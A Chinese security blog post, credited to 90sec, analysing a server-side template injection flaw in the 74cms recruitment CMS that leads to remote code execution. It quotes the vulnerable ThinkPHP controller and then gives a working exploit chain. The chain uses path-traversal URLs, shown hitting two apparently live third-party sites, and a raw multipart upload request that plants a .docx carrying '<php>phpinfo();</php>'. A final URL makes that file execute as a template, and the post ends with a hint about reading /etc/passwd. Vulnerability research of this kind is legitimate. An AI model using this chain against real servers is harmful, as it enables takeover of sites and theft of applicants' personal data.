74cms前台某处Getshell漏洞(SSTI)

from:90sec

这是一个服务端模板注入漏洞。

Application/Home/Controller/MController.class.php

<?php
namespace Home\Controller;
use Common\Controller\FrontendController;
class MController extends FrontendController{
        public function index(){
                if(!I('get.org','','trim') && C('PLATFORM') == 'mobile' && $this->apply['Mobile']){
            redirect(build_mobile_url());
                }
        $type = I('get.type','android','trim');
        $android_download_url = C('qscms_android_download')?C('qscms_android_download'):'';
        $ios_download_url = C('qscms_ios_download')?C('qscms_ios_download'):'';
        $this->assign('android_download_url',$android_download_url);
        $this->assign('ios_download_url',$ios_download_url);
        $this->assign('type',$type);
        $this->display('M/'.$type);
    }
}
?>

 
可见这里将`$type`传入display函数,display函数是ThinkPHP中展示模板的函数。跟进了几个函数,进入了View类的display函数:

<?php
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
    G('viewStartTime');
    // 视图开始标签
    Hook::listen('view_begin',$templateFile);
    // 解析并获取模板内容
    $content = $this->fetch($templateFile,$content,$prefix);
    // 输出模板内容
    $this->render($content,$charset,$contentType);
    // 视图结束标签
    Hook::listen('view_end');
}

 

可见,这里拿到了`$templateFile`并传入fetch函数,将fetch的结果交给render函数。这两个函数,fetch是将文件内容获取到,render是使用ThinkPHP的模板引擎渲染之。

拿favicon.ico一下,已经成功包含:

```
http://enshijob.com/index.php?m=&c=M&a=index&type=../favicon.ico
http://118.178.58.235/index.php? ... type=../favicon.ico
```

漏洞利用

那么,这个漏洞如何利用?因为type的值是作为display函数的参数传入的,所以实际上这个漏洞可以理解为“模板引擎注入”,我们现在控制了模板的文件目录,现在只需要上传一个内容符合ThinkPHP模板格式的文件,再作为type的值即可。

查看ThinkPHP文档:

可知,要使用原生PHP代码的话,只需要将代码包含在`<php>`标签内即可。

74cms里,个人用户创建简历后支持上传docx格式的简历。我们上传一个包含`<php>...</php>`的docx文件,将其作为模板。数据包如下:

POST /74cms/index.php?m=home&c=upload&a=attach HTTP/1.1
Host: vm.cn
Connection: keep-alive
Content-Length: 312
Origin: [url=http://vm.cn]http://vm.cn[/url]
X-Requested-With: ShockwaveFlash/24.0.0.194
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: multipart/form-data; boundary=--------2128837275
Accept: */*
Referer: [flash]http://vm.cn/74cms/Application/Home/View/default/public/flash/resumelogo.swf[/flash]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: think_language=zh-CN; PHPSESSID=6flqnh1g74dn7evi6ian92svj1; think_template=default; _qscms248c1a17aab7f0782be7d60121529404=think%3A%7B%229871d3a2c554b27151cacf1422eec048%22%3A%221%22%2C%225f4dcc3b5aa765d61d8327deb882cf99%22%3A%22b1630387ccdeb8a5d40a94fcbffabe29%22%7D; think_template=default
RC4-KEY: I0zqA1Idug6HwMRSNqRDGGOsn3T8GWl2
 
----------2128837275
Content-Disposition: form-data; name="type";
 
word_resume
----------2128837275
Content-Disposition: form-data; name="pid";
 
1
----------2128837275
Content-Disposition: form-data; name="word_resume"; filename="1.docx";
 
<php>phpinfo(); </php>
----------2128837275--

 

pid是简历id,word_resume就是包含模板的文件。上传成功,获取文件名:

再将这个文件名作为type的值,成功执行代码:

http://vm.cn/74cms/index.php?m=& ... /58a442fca3f70.docx


ps
最后说一下,这个文件判断存在的时候,linux下可能会有点问题,因为is_file这个函数遇到"M/../../../etc/passwd"这样的文件路径,只要M不存在就会返回false,没细研究具体的内容,有心的同学可以研究一下发出来。

发表评论